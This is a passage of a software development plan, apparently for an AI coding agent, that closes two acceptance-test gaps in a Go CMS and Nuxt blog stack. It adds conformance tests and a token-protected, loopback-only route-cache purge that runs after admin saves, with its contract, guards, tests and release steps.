- "G-16.2-1 recurrence guard: the Docker-free TestPhase10ConformanceInventory fails, naming every missing key at once, when an inventoried admin route has no conformance case; it passes with -short and no database, and the gate's go stage requires it by name; 16.2-PATTERNS.md names modules/cabana/openapi_conformance_test.go next to phase09Routes and admin_openapi.go."
- "G-16.2-2 (D-19): after the transaction of an admin create, update or delete of a Journal post or category commits, the Journal plugin sends exactly one POST to golem15.journal.site_cache.purge_url with `Authorization: Bearer <purge_token>` and a JSON body naming the kind and slug; a save that fails sends none; a failing, refused or slow purge (2 s timeout) is logged without the token and never changes the save response."
- "G-16.2-2: the vue-journal-layer route POST /api/__journal__/cache/purge removes every Nitro route-cache entry (pages, _payload.json and feeds) and answers 200 {purged}; it answers 404 when no token of at least 32 characters is configured or the request carries a proxy header, 401 for a missing or wrong bearer token, and it is never route-cached itself, so every call runs."
- "G-16.2-2: on a built site with swr route rules, a page cached before a content change shows the change on the first request after a purge, and route-cached pages and their 304 revalidations tell browsers max-age=0 while shared caches keep s-maxage; testing/purge-check.mjs proves this on the layer playground and on the host app build."
- "Release: summercms v0.1.20 (the tag after v0.1.19), vue-journal-layer v0.3.0 (check-git-install passes), sm-journal-plugin main requiring v0.1.20, vue-grzybyfunkcjonalne-app main pinning #v0.3.0 and the host gitlinks are on origin; UAT runs the binary and Nuxt output built from those heads (sha256 equal); the purge URL and token exist once in go/.env and the same token once in nuxt/.env, generated on the server and never printed; the on-server smoke passes; an on-server purge answers 200 with purged >= 1 while a POST through nginx answers 403 and one without a token answers 401."
- "UAT Test 3 (D-03) on the deployed build: after the human saves posts 1 and 64 untouched, the rows read 1:a026264105f900175b9770e637e5ec5c:a026264105f900175b9770e637e5ec5c and 64:0e4be845390b1656871513957d471a7c:e785e14e80f6400534e16b4769749d3c, the post 64 en translation reads 64:en:862fc5b362cc9856e6736a2078dca3ba, and both updated_at values moved past the restart."
- "UAT Test 2 (D-19, D-10): after the human changes one word of category 2 and saves, no removal notice appears, the Go log has a successful site cache purge line for kind=category, the /cordyceps page served on the server is not older than the category's updated_at, and the human sees the change on the first view in the browser."
artifacts:
- path: "modules/cabana/openapi_conformance_test.go"
provides: "conformance cases for both 16.2 routes and the Docker-free inventory test"
contains: "TestPhase10ConformanceInventory"
- path: "scripts/check-phase16.2.sh"
provides: "gate with the inventory test in the go stage, the purge tests and the cache stage"
contains: "TestPhase10ConformanceInventory"
- path: "../sm-journal-plugin/classes/site_cache.go"
provides: "SiteCachePurger, NewSiteCachePurger, PurgeSiteCacheAfterCommit"
contains: "PurgeSiteCacheAfterCommit"
- path: "../vue-journal-layer/server/api/__journal__/cache/purge.post.ts"
provides: "token-protected route-cache purge"
contains: "purgeRouteCache"
- path: "../vue-journal-layer/server/plugins/journal-revalidate.ts"
provides: "max-age=0 for browsers on route-cached responses"
contains: "privateRevalidate"
- path: "../vue-journal-layer/testing/purge-check.mjs"
provides: "end-to-end purge check against a built server"
contains: "purge-check: ok"
key_links:
- from: "../sm-journal-plugin/controllers/categories.go and posts.go (FormAfterCreate, FormAfterUpdate, FormAfterDelete)"
to: "classes.PurgeSiteCacheAfterCommit"
via: "lagoon.AfterCommit on the cabana save transaction"
pattern: "PurgeSiteCacheAfterCommit"
- from: "../sm-journal-plugin/classes/site_cache.go SiteCachePurger.Purge"
to: "../vue-journal-layer/server/api/__journal__/cache/purge.post.ts"
via: "HTTP POST on loopback with the shared bearer token"
pattern: "api/__journal__/cache/purge"
- from: "../vue-journal-layer/server/api/__journal__/cache/purge.post.ts"
to: "Nitro cache storage, group nitro/routes"
via: "useStorage('cache') getKeys and removeItem"
pattern: "nitro:routes"
- from: "UAT go/.env SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_TOKEN"
to: "UAT nuxt/.env NUXT_JOURNAL_CACHE_PURGE_TOKEN"
via: "the same server-generated value"
pattern: "NUXT_JOURNAL_CACHE_PURGE_TOKEN"
prohibitions:
- statement: "The executor runs only SELECT queries on the UAT database; post and category data change only through human admin saves."
status: unresolved
verification: judgment
- statement: "The executor never requests, prints, stores or commits a credential: UAT basic auth, admin password, server .env values and the purge token (generated on the server, compared there, and passed to curl on stdin, never in argv or output)."
status: unresolved
verification: judgment
- statement: "The live Winter site, its vhost, php-fpm and the PHP database are not touched (Phase 16 D-10)."
status: unresolved
verification: judgment
- statement: "No pushed tag is moved or deleted; a defect after a push gets the next tag (v0.1.21, v0.3.1)."
status: unresolved
verification: judgment
- statement: "Framework packages, READMEs and docs under summercms.go stay free of consuming-application names; the Journal and layer READMEs use neutral names (the host application, acme, blog)."
status: unresolved
verification: judgment
- statement: "Tests are not weakened: the only changed assertion is TestJournalSVGEmbed's stale mlmarkdown check, which now asserts the intended mlblogeditor type."
status: unresolved
verification: judgment
---
## Phase Goal
ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
This plan's slice: close the two gaps UAT found (16.2-UAT.md, diagnosed 2026-10-10), then release and redeploy so UAT Tests 2 and 3 can be re-run on the deployed build.
- **G-16.2-1** (UAT Test 1, `.planning/debug/postgres-gate-field-types-conformance.md`): the postgres stage of the phase gate is red. Two 16.2 admin routes have no conformance case, the Journal SVG test still expects `mlmarkdown`, and both checks were hidden inside Docker-only test binaries.
- **G-16.2-2** (UAT Test 2, `.planning/debug/category-content-not-on-site.md`): the save was correct, but the host Nuxt app's Nitro swr route cache (`'/**': { swr: 300 }`, Phase 16 decision D-07) kept serving the page rendered before the edit. User decision 2026-10-10: fix it in 16.2. A Journal post or category save in the admin clears the host's route-cache entries, so the site shows the edit on the next view.
## User decisions (binding, 2026-10-10)
- Exactly one plan, this one. The user overrode CLAUDE.md lean rule 3 ("unit tests are a separate last plan") for this gap closure. The tests are the final code task (Task 3), before the release tasks. The 2-3 tasks per plan guideline gives way to that decision, so this plan has six tasks.
- G-16.2-2 is fixed inside 16.2, by a Journal save event, a token-protected Nuxt server route on 127.0.0.1, and host configuration for the URL and token.
- G-16.2-1: two conformance cases, a Docker-free route-coverage check in the gate's go stage, the TestJournalSVGEmbed fix and the PATTERNS checklist line.
- The plan ends with the full gate green, including postgres (this machine has Docker), then a release and a UAT deploy following 16.2-05. The UAT-touching steps are checkpoints, as in 16.2-05.
## Design decisions (planner, within the user decisions)
- **Where each part lives.**
- The Go save event is in **sm-journal-plugin** (`classes/site_cache.go` plus the post and category Form hooks). The framework is unchanged, so no framework README or docs page changes.
- The purge route is in **vue-journal-layer**, so every blog host that extends the layer gets it.
- The host supplies the URL and the shared token through the server `.env` files: `go/.env` gets `SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_URL` and `..._TOKEN`, and `nuxt/.env` gets `NUXT_JOURNAL_CACHE_PURGE_TOKEN`.
- With neither set, nothing changes. Local development and the existing tests need no configuration.
- **What is purged.** The route removes every entry of Nitro's route-cache group (`cache:nitro:routes:*`): pages, `_payload.json` and feeds. This is a superset of the decision's list (category and post pages, `/blog` lists and their payloads).
- A precise per-page purge cannot be computed from one save. The host's header menu lists every category on every page. The home page, category pages, related posts and the author page all list posts.
- Nitro keys entries as the first 16 word characters of the path plus a hash, so matching pages would mean mirroring Nitro internals.
- At blog scale, a full purge only costs one fresh render per page on its next view.
- **Ordering.** The purge runs through `lagoon.AfterCommit` on the cabana save transaction. If it ran before the commit, a concurrent view could re-cache the old content for the whole TTL. It never runs for a failed save. It runs synchronously before the save response, with a 2 s timeout on `context.WithoutCancel`, so the cache is already clear when the admin sees "saved". Errors are logged, never returned.
- **The route is never cached itself.** Nitro wraps every handler whose route matches a host rule such as `'/**': { swr }` in its cached handler. That handler keys by path and does not skip POST (nitropack 2.13.4 `dist/runtime/internal/cache.mjs`), so without a rule a second purge within the TTL would get the first response from the cache. The layer adds `routeRules: { '/api/__journal__/**': { cache: false } }`.
- **Browsers.** Nitro answers route-cached pages with `cache-control: s-maxage=<n>, stale-while-revalidate`. That carries no browser max-age, so browsers apply heuristic freshness from Last-Modified. h3's `handleCacheHeaders` answers a 304 with `public, max-age=<n>, s-maxage=<n>` and ends the response itself. After one revalidation, a browser may reuse its copy for the whole TTL without asking, and no server purge would reach it.
- The layer's Nitro plugin rewrites every cache-control value that carries s-maxage to include `max-age=0`.
- Browsers then revalidate each view, which is a cheap 304 while the page is unchanged. Shared caches keep s-maxage.
- The rewrite works through a per-request wrapper of `res.setHeader`, because the 304 path ends the response before any beforeResponse hook runs.
- **Guards.** The route is POST only. It answers 404 when the token is missing or shorter than 32 characters. It also answers 404 when the request carries `X-Forwarded-For`, `X-Real-IP` or `Forwarded`: the UAT vhost sets the first two on every proxied request, and the Go caller sends none. A missing or wrong bearer token gets 401, compared in constant time. The UAT vhost already refuses POST to Nuxt (`limit_except GET HEAD`, required by check-deploy.sh), so the route is reachable only on loopback.
- **Scope.** Admin saves of posts and categories purge. The public write API (D-09), the import action and tags do not, because the decision names admin post and category saves.
## Multi-source coverage audit
| Source | Item | Covered by |
|---|---|---|
| GOAL | Imported HTML posts edited losslessly, visible on the site | Task 6 (Test 3 md5, Test 2 site view) |
| REQ | ROADMAP lists none (TBD); the phase's decisions act as requirements | D-03, D-13, D-18, D-19 below |
| CONTEXT | D-03 untouched re-save byte-identical | Tasks 3 (TestPostsAdminPurgesSiteCache untouched update), 6 (Test 3) |
| CONTEXT | D-13 global field-type assets (GET /field-types) | Task 3 conformance case |
| CONTEXT | D-18 field upload route | Task 3 conformance case |
| CONTEXT | D-19 category content on the Blog Editor, visible on the site | Tasks 1, 2, 3, 6 |
| GAP | G-16.2-1 conformance case GET /field-types | Task 3 |
| GAP | G-16.2-1 conformance case for the field upload route | Task 3 |
| GAP | G-16.2-1 TestJournalSVGEmbed expects mlblogeditor | Task 3 |
| GAP | G-16.2-1 route-coverage check without Docker in the go stage | Task 3 |
| GAP | G-16.2-1 PATTERNS checklist names openapi_conformance_test.go | Task 3 |
| GAP | G-16.2-2 save clears the matching host page caches (pages, /blog lists, _payload.json) | Tasks 1, 2 (superset purge, see Design decisions) |
| USER | Full gate incl. postgres green on this Docker host | Task 3 |
| USER | Release (tag after v0.1.19, plugin/layer/host bumps) and UAT deploy per 16.2-05 | Tasks 4, 5 |
| USER | UAT Tests 3 and 2 can be re-run | Task 6 |
| RESEARCH | 16.2-RESEARCH.md has no item open for these gaps | none |
No item is missing. Deferred ideas from 16.2-CONTEXT.md are untouched.
## Release facts at planning time (2026-10-10)
- summercms.go: v0.1.19 is tagged and on origin (cf10ce8). UAT never ran it: the UAT binary was built from b5c70b7 at 12:37 UTC. The next tag is **v0.1.20**.
- sm-journal-plugin: main 0efaa04 is on origin and requires v0.1.19.
- vue-journal-layer: main 782aa4d is on origin. The latest tag is v0.2.0, so the next tag is **v0.3.0** (a new feature).
- vue-grzybyfunkcjonalne-app: main 465286a is on origin and pins #v0.2.0.
- Host sm-grzybyfunkcjonalne-app: master 0ad1004 is on origin, with journal gitlink 2c78211 (before the review fixes) and vue app gitlink 465286a.
- Docker 29.7.2 answers on this machine.
<objective>
Close G-16.2-1 (the phase gate's postgres stage is red) and G-16.2-2 (an admin save does not show on the site until the Nitro swr cache expires). Then run the full gate including postgres, release summercms v0.1.20 and vue-journal-layer v0.3.0 with the plugin and host bumps, deploy to UAT per 16.2-05, and re-run UAT Tests 3 and 2 (D-03, D-19).
Purpose: the phase cannot pass verification while its gate is red, and editors must see a Journal edit on the site at once.
Output: the conformance and purge code and tests in four repositories, an updated gate, pushed tags and heads, a UAT release, and recorded UAT results.
</objective>
<execution_context>
@~/.claude/msd-core/workflows/execute-plan.md
@~/.claude/msd-core/templates/summary.md
</execution_context>
<context>
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-UAT.md
@.planning/debug/postgres-gate-field-types-conformance.md
@.planning/debug/category-content-not-on-site.md
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-PLAN.md
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-06-PLAN.md
@../sm-grzybyfunkcjonalne-app/DEPLOY.md
Repositories (siblings of summercms.go; run commands from summercms.go):
- summercms.go: framework tests, gate, planning docs.
- ../sm-journal-plugin: the Go save event.
- ../vue-journal-layer: the purge route, browser revalidation and the end-to-end check.
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app: the layer pin and README.
- ../sm-grzybyfunkcjonalne-app: deploy files, docs, gitlinks and the UAT build.
The host builds the Journal plugin from its own submodule checkout (plugins/golem15/journal) and the framework from ../summercms.go through go.work.
Server facts (DEPLOY.md, 16.2-05-SUMMARY):
- SSH alias `grzybyfunkcjonalne-uat`; install root `/srv/grzybyfunkcjonalne`, with `go/.env` and `nuxt/.env` owned by the deploy user, mode 0600.
- The Nuxt rollback copy lives at `nuxt/.output.prev`. Delete the old copy before `cp -a`.
- `sudo supervisorctl tail` fails on UAT, so log checks read `/var/log/supervisor/grzybyfunkcjonalne-go.log` from the restart's River `client_id=` anchor.
- The UAT realm exempts requests from 127.0.0.1, so on-server curls resolve the host to loopback.
Helpers to reuse:
- `newPostsEnv(t, extraEnv ...string)` and `adminAPI` (../sm-journal-plugin/admin_harness_test.go).
- `lagoon.AfterCommit` (modules/lagoon/transaction.go) and `app.Publish`/`app.Lookup` (modules/backpack/app.go).
- `startFixtureApi` and `startNuxtServer` (../vue-journal-layer/testing/).
- The fail-closed detectors in scripts/check-phase16.2.sh.
Commits: no co-author tags; one logical change per commit; planning docs and code in separate commits; stage by explicit path in every repository (another session may work in modules/).
</context>
<tasks>
<task type="tracer">
<name>Task 1: Tracer: a Journal category admin update purges the host Nuxt route cache after commit, one path only (sm-journal-plugin, vue-journal-layer)</name>
<reversibility rating="costly">The route path /api/__journal__/cache/purge, the JSON body, the config keys golem15.journal.site_cache.purge_url/purge_token and the env name NUXT_JOURNAL_CACHE_PURGE_TOKEN become host configuration in every blog host; renaming them means editing each host's server .env files.</reversibility>
<precondition>`docker info` exits 0 on this machine (the sm-journal-plugin root package harness starts PostgreSQL through testcontainers).</precondition>
<files>../sm-journal-plugin/classes/site_cache.go, ../sm-journal-plugin/plugin.go, ../sm-journal-plugin/controllers/categories.go, ../sm-journal-plugin/site_cache_admin_test.go, ../vue-journal-layer/nuxt.config.ts, ../vue-journal-layer/app/utils/siteCache.ts, ../vue-journal-layer/server/api/__journal__/cache/purge.post.ts, ../vue-journal-layer/testing/fixture-api.mjs, ../vue-journal-layer/testing/purge-check.mjs, ../vue-journal-layer/.playground/nuxt.config.ts</files>
<read_first>.planning/debug/category-content-not-on-site.md (Evidence and Resolution); ../sm-journal-plugin/plugin.go; ../sm-journal-plugin/controllers/categories.go; ../sm-journal-plugin/controllers/posts.go (db helper, existing Form hooks); ../sm-journal-plugin/admin_harness_test.go (newPostsEnv extraEnv, adminAPI, the pool); ../sm-journal-plugin/categories_admin_editor_test.go (a category PUT through the harness); modules/lagoon/transaction.go (Transaction, AfterCommit); modules/backpack/app.go (Publish, Lookup); modules/compass/env.go (SUMMER_ key mapping: `__` becomes a dot, parts lower-cased); ../vue-journal-layer/nuxt.config.ts; ../vue-journal-layer/server/routes/rss.xml.ts and ../vue-journal-layer/server/api/__sitemap__/journal.ts (server handler style, imports from app/utils); ../vue-journal-layer/app/utils/routes.ts (pure erasable TypeScript helper style); ../vue-journal-layer/testing/fixture-api.mjs; ../vue-journal-layer/testing/nuxt-server.mjs; ../vue-journal-layer/testing/smoke-ssr.mjs (CLI style); ../vue-journal-layer/.playground/nuxt.config.ts; the nitropack runtime in ../vue-journal-layer/node_modules (dist/runtime/internal/cache.mjs: the route cache key is cache:nitro:routes:_:&lt;path&gt;.&lt;hash&gt;.json and POST is not excluded)</read_first>
<action>Wire the one path: a category admin update goes through an after-commit purge request to a layer route that clears the route cache. This serves the G-16.2-2 user decision and D-19. Every other save path is Task 2.
Contract (both repositories implement it; Task 2 documents it in both READMEs): a `POST <purge_url>` with `Authorization: Bearer <token>`, `Content-Type: application/json` and the body `{"kind":"category"|"post","slug":"<slug>"}`. The answer is 200 `{"purged":<n>}`.
sm-journal-plugin:
- `classes/site_cache.go` provides the following.
- `type SiteCachePurger`.
- `NewSiteCachePurger(purgeURL, token string) (*SiteCachePurger, error)`: both empty returns nil, nil (disabled). The tracer checks only that the URL parses with an http or https scheme and a host, and that the token is not empty. Task 2 adds the full rules.
- `(*SiteCachePurger).Purge(ctx context.Context, kind, slug string)`:
- A nil receiver does nothing.
- It sends the contract request with a 2 s timeout on `context.WithoutCancel(ctx)` and reads at most 4 KiB of the answer.
- It logs one slog line: Info `journal: site cache purged` with kind, slug, status and purged (when the answer parses), or Warn `journal: site cache purge failed` with kind, slug and the status or the error.
- It never logs the token or the Authorization header, and it returns nothing.
- `PurgeSiteCacheAfterCommit(ctx context.Context, db *gorm.DB, p *SiteCachePurger, kind, slug string)`: for a non-nil p, it registers p.Purge through `lagoon.AfterCommit(ctx, db, ...)`. The purge then runs only after the surrounding cabana save transaction commits, and never for a failed save.
- `plugin.go` Boot reads `golem15.journal.site_cache.purge_url` and `golem15.journal.site_cache.purge_token` from `app.Config`. The env names are `SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_URL` and `SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_TOKEN`. Boot builds the purger, returns a wrapped boot error for invalid configuration, and calls `app.Publish` with it when it is enabled.
- `controllers/categories.go` gets a new FormAfterUpdate. It looks up `*classes.SiteCachePurger` through `c.app()` and `Lookup`, then calls `PurgeSiteCacheAfterCommit` with the tx from `cabana.TxFromContext(ctx)`, kind `category` and the saved slug.
- New root-package test `site_cache_admin_test.go`, `TestCategoriesAdminPurgesSiteCache` (Docker):
- An httptest receiver on 127.0.0.1 records each request. Inside its handler it reads the category's content through the harness pool.
- Start with `newPostsEnv(t, "SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_URL=<receiver>/api/__journal__/cache/purge", "SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_TOKEN=<a 40-character test token>")`, or the harness's equivalent.
- PUT an edited category content through `adminAPI`.
- Assert exactly one POST, the path, the Bearer token and the JSON body (kind category, the slug).
- Assert that the content read inside the receiver is the new content, which proves the purge ran after the commit.
vue-journal-layer:
- `nuxt.config.ts`:
- `runtimeConfig.journal.cachePurgeToken: ''` (server-only; env `NUXT_JOURNAL_CACHE_PURGE_TOKEN`).
- `routeRules: { '/api/__journal__/**': { cache: false } }`. This is required: Nitro wraps a handler matching a host's `'/**': { swr }` rule in a cached handler keyed by path that does not skip POST, so without it a second purge inside the TTL would be answered from the cache without running.
- `app/utils/siteCache.ts` is pure erasable TypeScript that node --test can import, like routes.ts:
- `MIN_PURGE_TOKEN_LENGTH = 32`.
- `authorizePurge({ token, authorization, proxied })` returns `'ok' | 'disabled' | 'proxied' | 'unauthorized'`:
- `disabled` when the token is shorter than 32 characters;
- `proxied` when the request carried X-Forwarded-For, X-Real-IP or Forwarded (checked before the token);
- otherwise the `Bearer` value is compared in constant time, over sha256 digests with node:crypto timingSafeEqual.
- `ROUTE_CACHE_BASE = 'nitro:routes'`.
- `purgeRouteCache(storage)` takes any object with getKeys(base) and removeItem(key), removes every key under ROUTE_CACHE_BASE and returns the count.
- `parsePurgeEvent(body)` returns a kind (post, category or unknown) and a slug, with control characters removed and at most 200 characters.
- `server/api/__journal__/cache/purge.post.ts`:
- `disabled` or `proxied` answers 404; `unauthorized` answers 401.
- Otherwise it runs `purgeRouteCache(useStorage('cache'))` and logs one console.info line: `[journal] cache purge: removed <n> route cache entries (<kind> <slug>)`.
- It sets `cache-control: no-store` and returns `{ purged }`.
- `testing/fixture-api.mjs`: add `reload()` to the returned object. It re-reads the JSON fixtures; existing behaviour is unchanged.
- New `testing/purge-check.mjs` is plain .mjs with JSDoc, so it runs from node_modules like smoke-ssr.mjs. Arguments: `--output <.output> --fixtures <dir> --kind post|category --slug <slug> --path <page path>`. Steps:
1. Copy the fixtures to a temp directory and start the fixture API on it.
2. Start the built server with a random 48-hex-character `NUXT_JOURNAL_CACHE_PURGE_TOKEN`.
3. GET the path (200).
4. Append a unique marker paragraph to the entity in the temp fixture (post: content and content_html; category: content) and reload the API.
5. GET again and require the marker to be absent. This proves the page is route-cached; if the marker shows, fail with a message about missing swr route rules.
6. POST the purge with the token and the contract body. Require 200 and purged >= 1.
7. GET again and require the marker.
8. POST without a token (401), with a wrong token (401), and with the right token plus X-Forwarded-For (404).
9. Print the last line as `purge-check: ok (<n> checks)`.
- `.playground/nuxt.config.ts`: add `routeRules: { '/**': { swr: 300 } }` so the playground caches like a real host.
Commit as feat(...) in each repository, staged by explicit path. Task 2 adds the READMEs.</action>
<verify>
<automated>go -C ../sm-journal-plugin vet ./... &amp;&amp; go -C ../sm-journal-plugin test -count=1 -timeout 15m -run '^TestCategoriesAdminPurgesSiteCache$' -v . 2&gt;&amp;1 | grep -- '^--- PASS: TestCategoriesAdminPurgesSiteCache'</automated>
<fails_when>Non-zero exit or no PASS line: vet fails, the harness cannot start PostgreSQL, the PUT sends no purge or more than one, the request lacks the Bearer token or body, or the receiver read the old content (the purge ran before the commit).</fails_when>
<automated>pnpm -C ../vue-journal-layer run build:playground &amp;&amp; node ../vue-journal-layer/testing/purge-check.mjs --output ../vue-journal-layer/.playground/.output --fixtures ../vue-journal-layer/testing/fixtures/acme --kind post --slug hello-acme --path /blog/hello-acme | tail -1 | grep '^purge-check: ok'</automated>
<fails_when>Non-zero exit or the last line does not start with "purge-check: ok": the playground build fails, the page is not route-cached, the authorized purge does not answer 200 with purged of at least 1, the page still lacks the marker after the purge, or an unauthenticated, wrong-token or proxied purge is accepted.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "func PurgeSiteCacheAfterCommit" ../sm-journal-plugin/classes/site_cache.go` and `grep -n "func TestCategoriesAdminPurgesSiteCache" ../sm-journal-plugin/site_cache_admin_test.go` each print one line.
- `grep -n "cache: false" ../vue-journal-layer/nuxt.config.ts` and `grep -n "purgeRouteCache" ../vue-journal-layer/server/api/__journal__/cache/purge.post.ts` each print at least one line.
- Both verify commands pass.
</acceptance_criteria>
<done>One category admin update sends one authorized purge after its commit, and on a built swr site a cached page shows a content change on the first request after that purge; unauthenticated, wrong-token and proxied purges are refused.</done>
</task>
<task type="auto">
<name>Task 2: Expansion: every admin post and category write purges, boot validates the config, browsers revalidate route-cached pages; READMEs, host app and deploy files</name>
<files>../sm-journal-plugin/classes/site_cache.go, ../sm-journal-plugin/plugin.go, ../sm-journal-plugin/controllers/posts.go, ../sm-journal-plugin/controllers/categories.go, ../sm-journal-plugin/controllers/admin_registry.go, ../sm-journal-plugin/site_cache_admin_test.go, ../sm-journal-plugin/README.md, ../vue-journal-layer/app/utils/siteCache.ts, ../vue-journal-layer/server/plugins/journal-revalidate.ts, ../vue-journal-layer/testing/purge-check.mjs, ../vue-journal-layer/README.md, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/README.md, ../sm-grzybyfunkcjonalne-app/deploy/env.example, ../sm-grzybyfunkcjonalne-app/deploy/nuxt.env.example, ../sm-grzybyfunkcjonalne-app/DEPLOY.md, ../sm-grzybyfunkcjonalne-app/README.md</files>
<read_first>The Task 1 files; ../sm-journal-plugin/controllers/posts.go (FormAfterCreate, FormAfterUpdate, writeContentHTMLTranslations, FormBeforeDelete); ../sm-journal-plugin/controllers/admin_registry.go; ../sm-journal-plugin/README.md (section order: Overview, Features, Usage, API reference, CLI commands, Dependencies, Testing); the nitropack runtime (dist/runtime/internal/cache.mjs: the cache-control the cached handler writes; h3 handleCacheHeaders: the 304 answer and its cache-control); ../vue-journal-layer/README.md (Configuration, Testing); ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/README.md (Configuration: routeRules bullet and the env table) and nuxt.config.ts (routeRules comment); ../sm-grzybyfunkcjonalne-app/deploy/env.example; ../sm-grzybyfunkcjonalne-app/deploy/nuxt.env.example; ../sm-grzybyfunkcjonalne-app/DEPLOY.md (Overview, First install, Release); ../sm-grzybyfunkcjonalne-app/README.md (Ports and environment); ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf (location / with limit_except GET HEAD and X-Forwarded-For)</read_first>
<action>Expand from the proven slice (G-16.2-2, D-19).
sm-journal-plugin:
- Hooks:
- posts.go: FormAfterCreate and FormAfterUpdate call `PurgeSiteCacheAfterCommit` with kind `post` and the post's slug, after writeContentHTMLTranslations succeeds. Add a new FormAfterDelete that does the same.
- categories.go: add FormAfterCreate and FormAfterDelete (kind `category`).
- An untouched update (D-03) still purges. That is harmless, because the stored bytes are unchanged.
- Add compile-time assertions for the new hooks in admin_registry.go.
- Tags, the posts import action and the public write API (D-09) do not purge. They are outside the decision, which names admin post and category saves.
- `NewSiteCachePurger` rules. Boot fails loudly and the error names the key:
- only one of url and token is set;
- the URL does not parse with an http or https scheme and a host, or it has user info or a fragment;
- an http URL whose host is not loopback (127.0.0.0/8, ::1 or localhost), because the bearer token would cross the network in clear;
- a token shorter than 32 characters (the layer's minimum).
When the purger is enabled, log one Info line at Boot with only the URL's host and path.
- `site_cache_admin_test.go`: a `TestPostsAdminPurgesSiteCache` smoke test, in which an edited post PUT sends one purge with kind post after the commit.
- `README.md`: a new "Configuration" section between Usage and API reference. It covers:
- the two keys and their env names;
- the request contract;
- the after-commit timing and the 2 s timeout;
- that a purge never fails a save;
- which writes purge and which do not;
- that the receiver is the host's Nuxt app built on vue-journal-layer.
Use neutral names only. The Testing section names the new tests.
vue-journal-layer:
- `app/utils/siteCache.ts` gains `privateRevalidate(cacheControl: string): string`. For a value that contains `s-maxage`, it sets `max-age=0`: it replaces any `max-age=<n>` or prepends `max-age=0`. Other values are returned unchanged.
- New `server/plugins/journal-revalidate.ts` is a Nitro plugin. Its request hook wraps that request's `event.node.res.setHeader`, so every cache-control value passes through privateRevalidate.
- Why: Nitro's route cache answers 200 with `s-maxage=<n>, stale-while-revalidate`, which gives browsers no max-age, so they apply heuristic freshness from Last-Modified.
- h3 answers a 304 with `public, max-age=<n>, s-maxage=<n>` and ends the response itself, so a beforeResponse hook cannot change it. After one 304, a browser could keep its copy for the whole TTL, past any purge.
- Static assets carry no s-maxage and are untouched.
- `testing/purge-check.mjs` adds these checks:
- After the purge, the page's cache-control contains max-age=0 and s-maxage.
- A GET with `If-None-Match: <the new ETag>` answers 304, and its cache-control contains max-age=0.
- When `<path>/_payload.json` answered 200 before the change, it carries the marker after the purge.
- A second purge after the page was re-cached also reports purged >= 1, which shows the route itself is never cached.
- A second server start without the token answers 404 to a POST that carries any token.
- `README.md`:
- A runtime config row for `runtimeConfig.journal.cachePurgeToken` / `NUXT_JOURNAL_CACHE_PURGE_TOKEN`.
- A "Site cache purge" section covering:
- the route and the request contract;
- the guards: POST only; 404 without a token of at least 32 characters or behind a proxy; 401 on a wrong token; never route-cached;
- what it removes: every Nitro route-cache entry (pages, _payload.json, feeds), and why;
- browser revalidation;
- deployment: the reverse proxy must not forward POST to Nuxt; the purge clears the cache storage of the process that answers, so a multi-process server needs a shared cache storage driver.
- Testing mentions purge-check.mjs.
- Neutral names only.
Site app (../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app; commit locally, Task 5 pushes):
- In README.md, the routeRules bullet says that admin saves of Journal posts and categories purge the route cache. The env table gains a `NUXT_JOURNAL_CACHE_PURGE_TOKEN` row.
- The routeRules comment in nuxt.config.ts says the same. The routeRules themselves do not change.
- Commit as docs(...). The layer pin waits for the tag (Task 5).
Host (../sm-grzybyfunkcjonalne-app; commit locally, Task 5 pushes):
- `deploy/env.example`: add the lines `SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_URL=http://127.0.0.1:3016/api/__journal__/cache/purge` and `SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_TOKEN=`, with a comment: the same value as NUXT_JOURNAL_CACHE_PURGE_TOKEN in nuxt/.env, generated on the server.
- `deploy/nuxt.env.example`: add `NUXT_JOURNAL_CACHE_PURGE_TOKEN=` with the comment, and correct the header sentence that says the file holds no secrets.
- `DEPLOY.md`:
- First install: a bullet for the shared token.
- Overview: the Go to Nuxt purge.
- Release: replace "The Nuxt page caches (swr) expire by themselves." with how admin saves purge them and the on-server purge check from Task 5. Note that the vhost's `limit_except GET HEAD` keeps the route off the public path; check-deploy.sh already requires it.
- `README.md`: the "Ports and environment" table lists the new variables.
- Commit as docs(deploy): ...</action>
<verify>
<automated>go -C ../sm-journal-plugin vet ./... &amp;&amp; go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/... &amp;&amp; go -C ../sm-journal-plugin test -count=1 -timeout 15m -run '^(TestCategoriesAdminPurgesSiteCache|TestPostsAdminPurgesSiteCache)$' -v . 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 2</automated>
<fails_when>Non-zero exit: vet or an existing classes or controllers test fails, or fewer than two PASS lines (a post or category save path does not purge after commit).</fails_when>
<automated>npm --prefix ../vue-journal-layer test 2&gt;&amp;1 | grep -E '^# fail 0$' &amp;&amp; pnpm -C ../vue-journal-layer run build:playground &amp;&amp; node ../vue-journal-layer/testing/purge-check.mjs --output ../vue-journal-layer/.playground/.output --fixtures ../vue-journal-layer/testing/fixtures/acme --kind post --slug hello-acme --path /blog/hello-acme | tail -1 | grep '^purge-check: ok'</automated>
<fails_when>Non-zero exit or a missing line: a layer unit test fails, or purge-check fails a check (purge, guards, max-age=0 on 200 and 304, payload marker, second purge, disabled server).</fails_when>
